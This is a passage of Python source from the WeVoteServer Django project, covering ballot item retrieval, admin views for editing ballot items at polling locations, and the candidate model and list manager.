pass if voter_address.google_civic_election_id is None: voter_address_google_civic_election_id = 0 else: voter_address_google_civic_election_id = voter_address.google_civic_election_id voter_address_google_civic_election_id = convert_to_int(voter_address_google_civic_election_id) if positive_value_exists(voter_address_google_civic_election_id) \ and voter_address_google_civic_election_id != 2000: # If we have already linked an address to a VoterBallotSaved entry, use this voter_ballot_saved_results = voter_ballot_saved_manager.retrieve_voter_ballot_saved_by_voter_id( voter_id, voter_address_google_civic_election_id) if voter_ballot_saved_results['voter_ballot_saved_found']: voter_ballot_saved = voter_ballot_saved_results['voter_ballot_saved'] results = { 'status': "VOTER_BALLOT_SAVED_FOUND_FROM_VOTER_ADDRESS", 'success': True, 'google_civic_election_id': voter_ballot_saved.google_civic_election_id, 'voter_ballot_saved_found': True, 'voter_ballot_saved': voter_ballot_saved } return results else: # If here, then we expected a VoterBallotSaved entry, but didn't find it. Unable to repair the data pass error_results = { 'status': "VOTER_BALLOT_SAVED_NOT_FOUND_FROM_EXISTING_DATA", 'success': True, 'google_civic_election_id': 0, 'voter_ballot_saved_found': False, 'voter_ballot_saved': None } return error_results def voter_ballot_items_retrieve_for_one_election_for_api(voter_device_id, voter_id, google_civic_election_id): """ :param voter_device_id: :param voter_id: :param google_civic_election_id: This variable was passed in explicitly so we can get the ballot items related to that election. :return: """ ballot_item_list_manager = BallotItemListManager() ballot_item_list = [] ballot_items_to_display = [] try: results = ballot_item_list_manager.retrieve_all_ballot_items_for_voter(voter_id, google_civic_election_id) success = results['success'] status = results['status'] ballot_item_list = results['ballot_item_list'] except Exception as e: status = 'FAILED voter_ballot_items_retrieve. ' \ '{error} [type: {error_type}]'.format(error=e, error_type=type(e)) handle_exception(e, logger=logger, exception_message=status) success = False if success: for ballot_item in ballot_item_list: if ballot_item.contest_office_we_vote_id: kind_of_ballot_item = OFFICE ballot_item_id = ballot_item.contest_office_id we_vote_id = ballot_item.contest_office_we_vote_id try: candidate_list_object = CandidateCampaignListManager() results = candidate_list_object.retrieve_all_candidates_for_office(ballot_item_id, we_vote_id) candidates_to_display = [] if results['candidate_list_found']: candidate_list = results['candidate_list'] for candidate in candidate_list: # This should match values returned in candidates_retrieve_for_api one_candidate = { 'id': candidate.id, 'we_vote_id': candidate.we_vote_id, 'ballot_item_display_name': candidate.display_candidate_name(), 'candidate_photo_url': candidate.candidate_photo_url(), 'party': candidate.political_party_display(), 'order_on_ballot': candidate.order_on_ballot, 'kind_of_ballot_item': CANDIDATE, 'twitter_handle': candidate.candidate_twitter_handle, 'twitter_description': candidate.twitter_description, 'twitter_followers_count': candidate.twitter_followers_count, } candidates_to_display.append(one_candidate.copy()) except Exception as e: # status = 'FAILED candidates_retrieve. ' \ # '{error} [type: {error_type}]'.format(error=e.message, error_type=type(e)) candidates_to_display = [] one_ballot_item = { 'ballot_item_display_name': ballot_item.ballot_item_display_name, 'google_civic_election_id': ballot_item.google_civic_election_id, 'google_ballot_placement': ballot_item.google_ballot_placement, 'local_ballot_order': ballot_item.local_ballot_order, 'kind_of_ballot_item': kind_of_ballot_item, 'id': ballot_item_id, 'we_vote_id': we_vote_id, 'candidate_list': candidates_to_display, } ballot_items_to_display.append(one_ballot_item.copy()) elif ballot_item.contest_measure_we_vote_id: kind_of_ballot_item = MEASURE ballot_item_id = ballot_item.contest_measure_id we_vote_id = ballot_item.contest_measure_we_vote_id one_ballot_item = { 'ballot_item_display_name': ballot_item.ballot_item_display_name, 'google_civic_election_id': ballot_item.google_civic_election_id, 'google_ballot_placement': ballot_item.google_ballot_placement, 'local_ballot_order': ballot_item.local_ballot_order, 'measure_subtitle': ballot_item.measure_subtitle, 'kind_of_ballot_item': kind_of_ballot_item, 'id': ballot_item_id, 'we_vote_id': we_vote_id, } ballot_items_to_display.append(one_ballot_item.copy()) results = { 'status': 'VOTER_BALLOT_ITEMS_RETRIEVED', 'success': True, 'voter_device_id': voter_device_id, 'ballot_item_list': ballot_items_to_display, 'google_civic_election_id': google_civic_election_id, } else: results = { 'status': status, 'success': False, 'voter_device_id': voter_device_id, 'ballot_item_list': [], 'google_civic_election_id': google_civic_election_id, } return results def ballot_item_options_retrieve_for_api(google_civic_election_id=0): """ This function returns a normalized list of candidates and measures so we can pre-populate form fields. Not specific to one voter. :param google_civic_election_id: :return: """ status = "" try: candidate_list_object = CandidateCampaignListManager() results = candidate_list_object.retrieve_all_candidates_for_upcoming_election(google_civic_election_id) candidate_success = results['success'] status += results['status'] candidate_list = results['candidate_list_light'] except Exception as e: status += 'FAILED ballot_item_options_retrieve_for_api, candidate_list. ' \ '{error} [type: {error_type}]'.format(error=e, error_type=type(e)) handle_exception(e, logger=logger, exception_message=status) candidate_list = [] candidate_success = False try: office_list_object = ContestOfficeListManager() results = office_list_object.retrieve_all_offices_for_upcoming_election(google_civic_election_id) office_success = results['success'] status += ' ' + results['status'] office_list = results['office_list_light'] except Exception as e: status += 'FAILED ballot_item_options_retrieve_for_api, office_list. ' \ '{error} [type: {error_type}]'.format(error=e, error_type=type(e)) handle_exception(e, logger=logger, exception_message=status) office_list = [] office_success = False try: measure_list_object = ContestMeasureList() results = measure_list_object.retrieve_all_measures_for_upcoming_election(google_civic_election_id) measure_success = results['success'] status += ' ' + results['status'] measure_list = results['measure_list_light'] except Exception as e: status += 'FAILED ballot_item_options_retrieve_for_api, measure_list. ' \ '{error} [type: {error_type}]'.format(error=e, error_type=type(e)) handle_exception(e, logger=logger, exception_message=status) measure_list = [] measure_success = False ballot_items_to_display = [] if candidate_success and len(candidate_list): for candidate in candidate_list: ballot_items_to_display.append(candidate.copy()) if office_success and len(office_list): for office in office_list: ballot_items_to_display.append(office.copy()) if measure_success and len(measure_list): for measure in measure_list: ballot_items_to_display.append(measure.copy()) json_data = { 'status': status, 'success': candidate_success or measure_success, 'ballot_item_list': ballot_items_to_display, 'google_civic_election_id': google_civic_election_id, } results = { 'status': status, 'success': candidate_success or measure_success, 'google_civic_election_id': google_civic_election_id, # We want to save google_civic_election_id in cookie 'json_data': json_data, } return results ``` #### File: WeVoteServer/ballot/views_admin.py ```python from .controllers import ballot_items_import_from_master_server, ballot_returned_import_from_master_server from .models import BallotItem, BallotItemListManager, BallotItemManager, BallotReturned, BallotReturnedManager from .serializers import BallotItemSerializer, BallotReturnedSerializer from admin_tools.views import redirect_to_sign_in_page from office.models import ContestOffice, ContestOfficeManager from django.http import HttpResponseRedirect from django.core.urlresolvers import reverse from django.contrib import messages from django.contrib.auth.decorators import login_required from django.contrib.messages import get_messages from django.shortcuts import render from election.models import Election, ElectionManager from geopy.geocoders import get_geocoder_for_service from measure.models import ContestMeasure, ContestMeasureManager from polling_location.models import PollingLocation, PollingLocationManager from rest_framework.views import APIView from rest_framework.response import Response from voter.models import voter_has_authority import wevote_functions.admin from wevote_functions.functions import convert_to_int, positive_value_exists logger = wevote_functions.admin.get_logger(__name__) # This page does not need to be protected. class BallotItemsSyncOutView(APIView): def get(self, request, format=None): google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) ballot_item_list = BallotItem.objects.all() # We only want BallotItem values associated with polling locations ballot_item_list = ballot_item_list.exclude(polling_location_we_vote_id__isnull=True).exclude( polling_location_we_vote_id__exact='') if positive_value_exists(google_civic_election_id): ballot_item_list = ballot_item_list.filter(google_civic_election_id=google_civic_election_id) serializer = BallotItemSerializer(ballot_item_list, many=True) return Response(serializer.data) # This page does not need to be protected. class BallotReturnedSyncOutView(APIView): def get(self, request, format=None): google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) ballot_returned_list = BallotReturned.objects.all() # We only want BallotReturned values associated with polling locations ballot_returned_list = ballot_returned_list.exclude(polling_location_we_vote_id__isnull=True).exclude( polling_location_we_vote_id__exact='') if positive_value_exists(google_civic_election_id): ballot_returned_list = ballot_returned_list.filter(google_civic_election_id=google_civic_election_id) serializer = BallotReturnedSerializer(ballot_returned_list, many=True) return Response(serializer.data) @login_required def ballot_items_import_from_master_server_view(request): google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) state_code = request.GET.get('state_code', '') results = ballot_items_import_from_master_server(request, google_civic_election_id) if not results['success']: messages.add_message(request, messages.ERROR, results['status']) else: messages.add_message(request, messages.INFO, 'Ballot Items import completed. ' 'Saved: {saved}, Updated: {updated}, ' 'Master data not imported (local duplicates found): ' '{duplicates_removed}, ' 'Not processed: {not_processed}' ''.format(saved=results['saved'], updated=results['updated'], duplicates_removed=results['duplicates_removed'], not_processed=results['not_processed'])) return HttpResponseRedirect(reverse('admin_tools:sync_dashboard', args=()) + "?google_civic_election_id=" + str(google_civic_election_id) + "&state_code=" + str(state_code)) @login_required def ballot_returned_import_from_master_server_view(request): google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) state_code = request.GET.get('state_code', '') results = ballot_returned_import_from_master_server(request, google_civic_election_id) if not results['success']: messages.add_message(request, messages.ERROR, results['status']) else: messages.add_message(request, messages.INFO, 'Ballot Returned import completed. ' 'Saved: {saved}, Updated: {updated}, ' 'Master data not imported (local duplicates found): ' '{duplicates_removed}, ' 'Not processed: {not_processed}' ''.format(saved=results['saved'], updated=results['updated'], duplicates_removed=results['duplicates_removed'], not_processed=results['not_processed'])) return HttpResponseRedirect(reverse('admin_tools:sync_dashboard', args=()) + "?google_civic_election_id=" + str(google_civic_election_id) + "&state_code=" + str(state_code)) @login_required def ballot_item_list_edit_view(request, ballot_returned_id): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) # We can accept either, but give preference to polling_location_id polling_location_id = request.GET.get('polling_location_id', 0) polling_location_we_vote_id = request.GET.get('polling_location_we_vote_id', '') polling_location_city = request.GET.get('polling_location_city', '') polling_location_zip = request.GET.get('polling_location_zip', '') ballot_returned_found = False ballot_returned = BallotReturned() ballot_returned_manager = BallotReturnedManager() results = ballot_returned_manager.retrieve_existing_ballot_returned_by_identifier(ballot_returned_id) if results['ballot_returned_found']: ballot_returned = results['ballot_returned'] ballot_returned_found = True google_civic_election_id = ballot_returned.google_civic_election_id else: google_civic_election_id = request.GET.get('google_civic_election_id', 0) google_civic_election_id = convert_to_int(google_civic_election_id) election = Election() election_state = '' contest_measure_list = [] contest_office_list = [] if google_civic_election_id: election_manager = ElectionManager() results = election_manager.retrieve_election(google_civic_election_id) if results['election_found']: election = results['election'] election_state = election.get_election_state() # Get a list of offices for this election so we can create drop downs try: contest_office_list = ContestOffice.objects.order_by('office_name') contest_office_list = contest_office_list.filter(google_civic_election_id=google_civic_election_id) except Exception as e: contest_office_list = [] # Get a list of measures for this election so we can create drop downs try: contest_measure_list = ContestMeasure.objects.order_by('measure_title') contest_measure_list = contest_measure_list.filter(google_civic_election_id=google_civic_election_id) except Exception as e: contest_measure_list = [] else: messages.add_message(request, messages.ERROR, 'In order to create a \'ballot_returned\' entry, ' 'a google_civic_election_id is required.') polling_location_found = False polling_location = PollingLocation() polling_location_manager = PollingLocationManager() if positive_value_exists(polling_location_id): results = polling_location_manager.retrieve_polling_location_by_id(polling_location_id) if results['polling_location_found']: polling_location = results['polling_location'] polling_location_found = True if not polling_location_found and positive_value_exists(polling_location_we_vote_id): results = polling_location_manager.retrieve_polling_location_by_id(0, polling_location_we_vote_id) if results['polling_location_found']: polling_location = results['polling_location'] polling_location_found = True polling_location_list = [] if not polling_location_found: results = polling_location_manager.retrieve_polling_locations_in_city_or_state( election_state, polling_location_city, polling_location_zip) if results['polling_location_list_found']: polling_location_list = results['polling_location_list'] messages_on_stage = get_messages(request) ballot_item_list = [] if ballot_returned_found: # Get a list of ballot_items stored at this location ballot_item_list_manager = BallotItemListManager() if positive_value_exists(ballot_returned.polling_location_we_vote_id): results = ballot_item_list_manager.retrieve_all_ballot_items_for_polling_location( ballot_returned.polling_location_we_vote_id, google_civic_election_id) if results['ballot_item_list_found']: ballot_item_list = results['ballot_item_list'] template_values = { 'messages_on_stage': messages_on_stage, 'ballot_returned': ballot_returned, 'ballot_returned_id': ballot_returned_id, 'election': election, 'measure_list': contest_measure_list, 'office_list': contest_office_list, 'polling_location_we_vote_id': polling_location_we_vote_id, 'polling_location_found': polling_location_found, 'polling_location': polling_location, 'polling_location_list': polling_location_list, 'polling_location_city': polling_location_city, 'polling_location_zip': polling_location_zip, 'ballot_item_list': ballot_item_list, 'google_civic_election_id': google_civic_election_id, } return render(request, 'ballot/ballot_item_list_edit.html', template_values) @login_required def ballot_item_list_edit_process_view(request): """ Process the new or edit ballot form :param request: :return: """ authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) ballot_returned_id = convert_to_int(request.POST.get('ballot_returned_id', 0)) google_civic_election_id = request.POST.get('google_civic_election_id', 0) polling_location_id = convert_to_int(request.POST.get('polling_location_id', 0)) polling_location_city = request.POST.get('polling_location_city', '') polling_location_zip = request.POST.get('polling_location_zip', '') contest_office1_id = request.POST.get('contest_office1_id', 0) contest_office1_order = request.POST.get('contest_office1_order', 0) contest_measure1_id = request.POST.get('contest_measure1_id', 0) election_local_id = 0 # Find existing ballot_returned ballot_returned_found = False ballot_returned = BallotReturned() if positive_value_exists(ballot_returned_id): try: ballot_returned_query = BallotReturned.objects.filter(id=ballot_returned_id) if len(ballot_returned_query): ballot_returned = ballot_returned_query[0] ballot_returned_found = True except Exception as e: pass election_manager = ElectionManager() polling_location_manager = PollingLocationManager() polling_location = PollingLocation() polling_location_found = False try: if ballot_returned_found: # Update # Check to see if this is a We Vote-created election is_we_vote_google_civic_election_id = True \ if convert_to_int(ballot_returned.google_civic_election_id) >= 1000000 \ else False results = election_manager.retrieve_election(ballot_returned.google_civic_election_id) if results['election_found']: election = results['election'] election_local_id = election.id # polling_location must be found # We cannot change a polling location once saved, so we ignore the incoming polling_location_id here results = polling_location_manager.retrieve_polling_location_by_id( 0, ballot_returned.polling_location_we_vote_id) if results['polling_location_found']: polling_location = results['polling_location'] polling_location_found = True else: # Create new ballot_returned entry # election must be found election_results = election_manager.retrieve_election(google_civic_election_id) if election_results['election_found']: election = election_results['election'] election_local_id = election.id state_code = election.get_election_state() else: messages.add_message(request, messages.ERROR, 'Could not find election -- ' 'required to save ballot_returned.') return HttpResponseRedirect(reverse('ballot:ballot_item_list_edit', args=(ballot_returned_id,)) + "?google_civic_election_id=" + str(google_civic_election_id) + "&polling_location_id=" + str(polling_location_id) + "&polling_location_city=" + polling_location_city + "&polling_location_zip=" + str(polling_location_zip) ) # polling_location must be found if positive_value_exists(polling_location_id): results = polling_location_manager.retrieve_polling_location_by_id(polling_location_id) if results['polling_location_found']: polling_location = results['polling_location'] polling_location_found = True if not polling_location_found: messages.add_message(request, messages.ERROR, 'Could not find polling_location -- ' 'required to save ballot_returned.') return HttpResponseRedirect(reverse('ballot:ballot_item_list_edit', args=(ballot_returned_id,)) + "?google_civic_election_id=" + str(google_civic_election_id) + "&polling_location_id=" + str(polling_location_id) + "&polling_location_city=" + polling_location_city + "&polling_location_zip=" + str(polling_location_zip) ) ballot_returned = BallotReturned( election_date=election.election_day_text, election_description_text=election.election_name, google_civic_election_id=google_civic_election_id, polling_location_we_vote_id=polling_location.we_vote_id, normalized_city=polling_location.city, normalized_line1=polling_location.line1, normalized_line2=polling_location.line2, normalized_state=polling_location.state, normalized_zip=polling_location.get_formatted_zip(), text_for_map_search=polling_location.get_text_for_map_search(), ) ballot_returned.save() ballot_returned_id = ballot_returned.id ballot_returned_found = True messages.add_message(request, messages.INFO, 'New ballot_returned saved.') # ####################################### # Make sure we have saved a latitude and longitude for the ballot_returned entry if ballot_returned_found and positive_value_exists(ballot_returned.text_for_map_search): if not ballot_returned.latitude or not ballot_returned.longitude: google_client = get_geocoder_for_service('google')() location = google_client.geocode(ballot_returned.text_for_map_search) if location is None: status = 'Could not find location matching "{}"'.format(ballot_returned.text_for_map_search) else: ballot_returned.latitude = location.latitude ballot_returned.longitude = location.longitude ballot_returned.save() # ####################################### # Now create new ballot_item entries # Contest Office 1 ballot_item_manager = BallotItemManager() contest_office_manager = ContestOfficeManager() results = contest_office_manager.retrieve_contest_office(contest_office1_id) if results['contest_office_found']: contest_office = results['contest_office'] ballot_item_display_name = contest_office.office_name google_ballot_placement = 0 measure_subtitle = '' local_ballot_order = contest_office1_order if positive_value_exists(contest_office1_order) else 0 results = ballot_item_manager.update_or_create_ballot_item_for_polling_location( polling_location.we_vote_id, google_civic_election_id, google_ballot_placement, ballot_item_display_name, measure_subtitle, local_ballot_order, contest_office.id, contest_office.we_vote_id) if results['new_ballot_item_created']: messages.add_message(request, messages.INFO, 'Office 1 added.') else: messages.add_message(request, messages.ERROR, 'Office 1 could not be added.') # Contest Measure 1 ballot_item_manager = BallotItemManager() contest_measure_manager = ContestMeasureManager() results = contest_measure_manager.retrieve_contest_measure(contest_measure1_id) if results['contest_measure_found']: contest_measure = results['contest_measure'] google_ballot_placement = 0 ballot_item_display_name = contest_measure.measure_title contest_office_id = 0 contest_office_we_vote_id = '' local_ballot_order = 0 ballot_item_manager.update_or_create_ballot_item_for_polling_location( polling_location.we_vote_id, google_civic_election_id, google_ballot_placement, ballot_item_display_name, contest_measure.measure_subtitle, local_ballot_order, contest_office_id, contest_office_we_vote_id, contest_measure.id) except Exception as e: messages.add_message(request, messages.ERROR, 'Could not save ballot_returned.') return HttpResponseRedirect(reverse('ballot:ballot_item_list_edit', args=(ballot_returned_id,)) + "?google_civic_election_id=" + str(google_civic_election_id) + "&polling_location_id=" + str(polling_location_id) + "&polling_location_city=" + polling_location_city + "&polling_location_zip=" + str(polling_location_zip) ) ``` #### File: WeVoteServer/candidate/models.py ```python from django.db import models from django.db.models import Q from election.models import Election from exception.models import handle_exception, handle_record_found_more_than_one_exception from office.models import ContestOffice, ContestOfficeManager import re from wevote_settings.models import fetch_next_we_vote_id_last_candidate_campaign_integer, fetch_site_unique_id_prefix import wevote_functions.admin from wevote_functions.functions import convert_to_int, display_full_name_with_correct_capitalization, \ extract_first_name_from_full_name, \ extract_last_name_from_full_name, extract_state_from_ocd_division_id, extract_twitter_handle_from_text_string, \ positive_value_exists logger = wevote_functions.admin.get_logger(__name__) class CandidateCampaignListManager(models.Model): """ This is a class to make it easy to retrieve lists of Candidates """ def retrieve_all_candidates_for_office(self, office_id, office_we_vote_id): candidate_list = [] candidate_list_found = False if not positive_value_exists(office_id) and not positive_value_exists(office_we_vote_id): status = 'VALID_OFFICE_ID_AND_OFFICE_WE_VOTE_ID_MISSING' results = { 'success': True if candidate_list_found else False, 'status': status, 'office_id': office_id, 'office_we_vote_id': office_we_vote_id, 'candidate_list_found': candidate_list_found, 'candidate_list': candidate_list, } return results try: candidate_queryset = CandidateCampaign.objects.all() if positive_value_exists(office_id): candidate_queryset = candidate_queryset.filter(contest_office_id=office_id) elif positive_value_exists(office_we_vote_id): candidate_queryset = candidate_queryset.filter(contest_office_we_vote_id=office_we_vote_id) candidate_queryset = candidate_queryset.order_by('-twitter_followers_count') candidate_list = candidate_queryset if len(candidate_list): candidate_list_found = True status = 'CANDIDATES_RETRIEVED' else: status = 'NO_CANDIDATES_RETRIEVED' except CandidateCampaign.DoesNotExist: # No candidates found. Not a problem. status = 'NO_CANDIDATES_FOUND_DoesNotExist' candidate_list = [] except Exception as e: handle_exception(e, logger=logger) status = 'FAILED retrieve_all_candidates_for_office ' \ '{error} [type: {error_type}]'.format(error=e.message, error_type=type(e)) results = { 'success': True if candidate_list_found else False, 'status': status, 'office_id': office_id, 'office_we_vote_id': office_we_vote_id, 'candidate_list_found': candidate_list_found, 'candidate_list': candidate_list, } return results def retrieve_all_candidates_for_upcoming_election(self, google_civic_election_id=0, return_list_of_objects=False): candidate_list_objects = [] candidate_list_light = [] candidate_list_found = False try: candidate_queryset = CandidateCampaign.objects.all() if positive_value_exists(google_civic_election_id): candidate_queryset = candidate_queryset.filter(google_civic_election_id=google_civic_election_id) else: # TODO Limit this search to upcoming_elections only pass candidate_queryset = candidate_queryset.order_by("candidate_name") if positive_value_exists(google_civic_election_id): candidate_list_objects = candidate_queryset else: candidate_list_objects = candidate_queryset[:300] if len(candidate_list_objects): candidate_list_found = True status = 'CANDIDATES_RETRIEVED' success = True else: status = 'NO_CANDIDATES_RETRIEVED' success = True except CandidateCampaign.DoesNotExist: # No candidates found. Not a problem. status = 'NO_CANDIDATES_FOUND_DoesNotExist' candidate_list_objects = [] success = True except Exception as e: handle_exception(e, logger=logger) status = 'FAILED retrieve_all_candidates_for_office ' \ '{error} [type: {error_type}]'.format(error=e.message, error_type=type(e)) success = False if candidate_list_found: for candidate in candidate_list_objects: one_candidate = { 'ballot_item_display_name': candidate.display_candidate_name(), 'candidate_we_vote_id': candidate.we_vote_id, 'office_we_vote_id': candidate.contest_office_we_vote_id, 'measure_we_vote_id': '', } candidate_list_light.append(one_candidate.copy()) results = { 'success': success, 'status': status, 'google_civic_election_id': google_civic_election_id, 'candidate_list_found': candidate_list_found, 'candidate_list_objects': candidate_list_objects if return_list_of_objects else [], 'candidate_list_light': candidate_list_light, } return results def retrieve_candidate_count_for_office(self, office_id, office_we_vote_id): if not positive_value_exists(office_id) and not positive_value_exists(office_we_vote_id): status = 'VALID_OFFICE_ID_AND_OFFICE_WE_VOTE_ID_MISSING' results = { 'success': False, 'status': status, 'office_id': office_id, 'office_we_vote_id': office_we_vote_id, 'candidate_count': 0, } return results try: candidate_queryset = CandidateCampaign.objects.all() if positive_value_exists(office_id): candidate_queryset = candidate_queryset.filter(contest_office_id=office_id) elif positive_value_exists(office_we_vote_id): candidate_queryset = candidate_queryset.filter(contest_office_we_vote_id=office_we_vote_id) candidate_list = candidate_queryset candidate_count = candidate_list.count() success = True status = "CANDIDATE_COUNT_FOUND" except CandidateCampaign.DoesNotExist: # No candidates found. Not a problem. status = 'NO_CANDIDATES_FOUND_DoesNotExist' candidate_count = 0 success = True except Exception as e: handle_exception(e, logger=logger) status = 'FAILED retrieve_all_candidates_for_office ' \ '{error} [type: {error_type}]'.format(error=e, error_type=type(e)) success = False candidate_count = 0 results = { 'success': success, 'status': status, 'office_id': office_id, 'office_we_vote_id': office_we_vote_id, 'candidate_count': candidate_count, } return results def is_automatic_merge_ok(self, candidate_option1, candidate_option2): automatic_merge_ok = True status = "" if candidate_option1.candidate_name != candidate_option2.candidate_name: automatic_merge_ok = False status += " candidate_name:" if candidate_option1.candidate_twitter_handle != candidate_option2.candidate_twitter_handle: automatic_merge_ok = False status += " candidate_twitter_handle:" if candidate_option1.candidate_url != candidate_option2.candidate_url: automatic_merge_ok = False status += " candidate_url:" if not automatic_merge_ok: status = "Different: " + status results = { "status": status, "automatic_merge_ok": automatic_merge_ok, } return results def do_automatic_merge(self, candidate_option1, candidate_option2): success = False status = "do_automatic_merge NOT IMPLEMENTED YET" results = { 'success': success, 'status': status, } return results def find_and_remove_duplicate_candidates(self, google_civic_election_id, merge=False, remove=False): success = False status = "find_and_remove_duplicate_candidates NOT IMPLEMENTED YET" results = { 'success': success, 'status': status, 'google_civic_election_id': google_civic_election_id, } return results def retrieve_candidate_campaigns_from_all_elections_list(self): """ This is used by the admin tools to show CandidateCampaigns in a drop-down for example """ candidates_list_temp = CandidateCampaign.objects.all() # Order by candidate_name. # To order by last name we will need to make some guesses in some case about what the last name is. candidates_list_temp = candidates_list_temp.order_by('candidate_name')[:300] return candidates_list_temp def remove_duplicate_candidate(self, candidate_id, google_civic_election_id): # TODO DALE We need to delete the positions associated with this candidate, and convert them to belong # to candidate we leave in place. success = False status = "COULD_NOT_DELETE_DUPLICATE_CANDIDATE" results = { 'success': success, 'status': status, } return results def retrieve_possible_duplicate_candidates(self, candidate_name, google_civic_candidate_name, google_civic_election_id, office_we_vote_id, politician_we_vote_id, candidate_twitter_handle, vote_smart_id, maplight_id, we_vote_id_from_master=''): candidate_list_objects = [] filters = [] candidate_list_found = False try: candidate_queryset = CandidateCampaign.objects.all() candidate_queryset = candidate_queryset.filter(google_civic_election_id=google_civic_election_id) # We don't look for office_we_vote_id because of the chance that locally we are using a # different we_vote_id # candidate_queryset = candidate_queryset.filter(contest_office_we_vote_id__iexact=office_we_vote_id) # Ignore entries with we_vote_id coming in from master server if positive_value_exists(we_vote_id_from_master): candidate_queryset = candidate_queryset.filter(~Q(we_vote_id__iexact=we_vote_id_from_master)) # We want to find candidates with *any* of these values if positive_value_exists(google_civic_candidate_name): new_filter = Q(google_civic_candidate_name__exact=google_civic_candidate_name) filters.append(new_filter) elif positive_value_exists(candidate_name): new_filter = Q(candidate_name__iexact=candidate_name) filters.append(new_filter) if positive_value_exists(politician_we_vote_id): new_filter = Q(politician_we_vote_id__iexact=politician_we_vote_id) filters.append(new_filter) if positive_value_exists(candidate_twitter_handle): new_filter = Q(candidate_twitter_handle__iexact=candidate_twitter_handle) filters.append(new_filter) if positive_value_exists(vote_smart_id): new_filter = Q(vote_smart_id=vote_smart_id) filters.append(new_filter) if positive_value_exists(maplight_id): new_filter = Q(maplight_id=maplight_id) filters.append(new_filter) # Add the first query if len(filters): final_filters = filters.pop() # ...and "OR" the remaining items in the list for item in filters: final_filters |= item candidate_queryset = candidate_queryset.filter(final_filters) candidate_list_objects = candidate_queryset if len(candidate_list_objects): candidate_list_found = True status = 'DUPLICATE_CANDIDATES_RETRIEVED' success = True else: status = 'NO_DUPLICATE_CANDIDATES_RETRIEVED' success = True except CandidateCampaign.DoesNotExist: # No candidates found. Not a problem. status = 'NO_DUPLICATE_CANDIDATES_FOUND_DoesNotExist' candidate_list_objects = [] success = True except Exception as e: handle_exception(e, logger=logger) status = 'FAILED retrieve_possible_duplicate_candidates ' \ '{error} [type: {error_type}]'.format(error=e, error_type=type(e)) success = False results = { 'success': success, 'status': status, 'google_civic_election_id': google_civic_election_id, 'candidate_list_found': candidate_list_found, 'candidate_list': candidate_list_objects, } return results def retrieve_candidates_from_non_unique_identifiers(self, twitter_handle, google_civic_election_id=0): candidate_list_objects = [] candidate_list_found = False twitter_handle_filtered = extract_twitter_handle_from_text_string(twitter_handle) try: candidate_queryset = CandidateCampaign.objects.all() candidate_queryset = candidate_queryset.filter(candidate_twitter_handle__iexact=twitter_handle_filtered) if positive_value_exists(google_civic_election_id): candidate_queryset = candidate_queryset.filter(google_civic_election_id=google_civic_election_id) candidate_queryset = candidate_queryset.order_by('-id') candidate_list_objects = candidate_queryset if len(candidate_list_objects): candidate_list_found = True status = 'CANDIDATES_RETRIEVED_FROM_TWITTER_HANDLE' success = True else: status = 'NO_CANDIDATES_RETRIEVED_FROM_TWITTER_HANDLE' success = True except CandidateCampaign.DoesNotExist: # No candidates found. Not a problem. status = 'NO_CANDIDATES_FOUND_FROM_TWITTER_HANDLE_DoesNotExist' candidate_list_objects = [] success = True except Exception as e: handle_exception(e, logger=logger) status = 'FAILED retrieve_candidates_from_non_unique_identifiers ' \ '{error} [type: {error_type}]'.format(error=e, error_type=type(e)) success = False results = { 'success': success, 'status': status, 'google_civic_election_id': google_civic_election_id, 'candidate_list_found': candidate_list_found, 'candidate_list': candidate_list_objects, } return results class CandidateCampaign(models.Model): # The we_vote_id identifier is unique across all We Vote sites, and allows us to share our data with other # organizations # It starts with "wv" then we add on a database specific identifier like "3v" (WeVoteSetting.site_unique_id_prefix) # then the string "cand", and then a sequential integer like "123". # We keep the last value in WeVoteSetting.we_vote_id_last_candidate_campaign_integer we_vote_id = models.CharField( verbose_name="we vote permanent id of this candidate campaign", max_length=255, default=None, null=True, blank=True, unique=True) maplight_id = models.CharField( verbose_name="maplight candidate id", max_length=255, default=None, null=True, blank=True, unique=True) vote_smart_id = models.CharField( verbose_name="vote smart candidate id", max_length=15, default=None, null=True, blank=True, unique=False) # The internal We Vote id for the ContestOffice that this candidate is competing for. During setup we need to allow # this to be null. contest_office_id = models.CharField( verbose_name="contest_office_id id", max_length=255, null=True, blank=True) # We want to link the candidate to the contest with permanent ids so we can export and import contest_office_we_vote_id = models.CharField( verbose_name="we vote permanent id for the office this candidate is running for", max_length=255, default=None, null=True, blank=True, unique=False) contest_office_name = models.CharField(verbose_name="name of the office", max_length=255, null=True, blank=True) # politician (internal) link to local We Vote Politician entry. During setup we need to allow this to be null. politician_id = models.BigIntegerField(verbose_name="politician unique identifier", null=True, blank=True) # The persistent We Vote unique ID of the Politician, so we can export and import into other databases. politician_we_vote_id = models.CharField( verbose_name="we vote politician id", max_length=255, null=True, blank=True) # The candidate's name. candidate_name = models.CharField(verbose_name="candidate name", max_length=255, null=False, blank=False) # The candidate's name as passed over by Google Civic. We save this so we can match to this candidate even # if we edit the candidate's name locally. google_civic_candidate_name = models.CharField(verbose_name="candidate name exactly as received from google civic", max_length=255, null=False, blank=False) # The full name of the party the candidate is a member of. party = models.CharField(verbose_name="party", max_length=255, null=True, blank=True) # A URL for a photo of the candidate. photo_url = models.CharField(verbose_name="photoUrl", max_length=255, null=True, blank=True) photo_url_from_maplight = models.URLField( verbose_name='candidate portrait url of candidate from maplight', blank=True, null=True) photo_url_from_vote_smart = models.URLField( verbose_name='candidate portrait url of candidate from vote smart', blank=True, null=True) # The order the candidate appears on the ballot relative to other candidates for this contest. order_on_ballot = models.CharField(verbose_name="order on ballot", max_length=255, null=True, blank=True) # The unique ID of the election containing this contest. (Provided by Google Civic) google_civic_election_id = models.CharField( verbose_name="google civic election id", max_length=255, null=True, blank=True) google_civic_election_id_new = models.PositiveIntegerField( verbose_name="google civic election id", default=0, null=True, blank=True) ocd_division_id = models.CharField(verbose_name="ocd division id", max_length=255, null=True, blank=True) # State code state_code = models.CharField(verbose_name="state this candidate serves", max_length=2, null=True, blank=True) # The URL for the candidate's campaign web site. candidate_url = models.URLField(verbose_name='website url of candidate campaign', blank=True, null=True) facebook_url = models.URLField(verbose_name='facebook url of candidate campaign', blank=True, 